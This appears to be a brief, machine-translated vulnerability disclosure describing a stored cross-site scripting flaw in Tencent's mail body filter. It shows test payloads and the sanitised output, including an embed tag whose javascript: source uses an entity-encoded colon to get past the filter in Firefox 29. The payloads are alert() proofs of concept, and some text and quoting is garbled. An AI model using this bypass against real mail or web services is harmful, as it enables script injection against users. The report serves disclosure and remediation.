Tencent mail body storage row XSS Vulnerability

The Cross-Site Scripting filtering rules of the mail body are not complete, and thus the email body is bypassed. Test 1: <embed src = "javascript: alert (3)"> result 1: <embed invokeurls = "false" allownetworking = "none" allowscriptaccess = "never" type = "application/x-shockwave-flash"> minimize the test content and identify the root cause of the problem. Test 2: <embed src = "javascript"> result 2: <embed src = "javascript" invokeurls = "false" allownetworking = "none" allowscriptaccess = "never" type = "application/x-shockwave-flash"> </div> determine pseudo ": "The filter rule is triggered. Entity encoding. Test 3: <embed src = "javascript & colon; alert (2)"> result 3: <embed src = "javascript: alert (2) "invokeurls =" false "allownetworking =" none "allowscriptaccess =" never "type =" application/x-shockwave-flash "> PS: this XSS Vector is only valid for tests in Firefox and FF29.0.1Solution:Improve Filtering Rules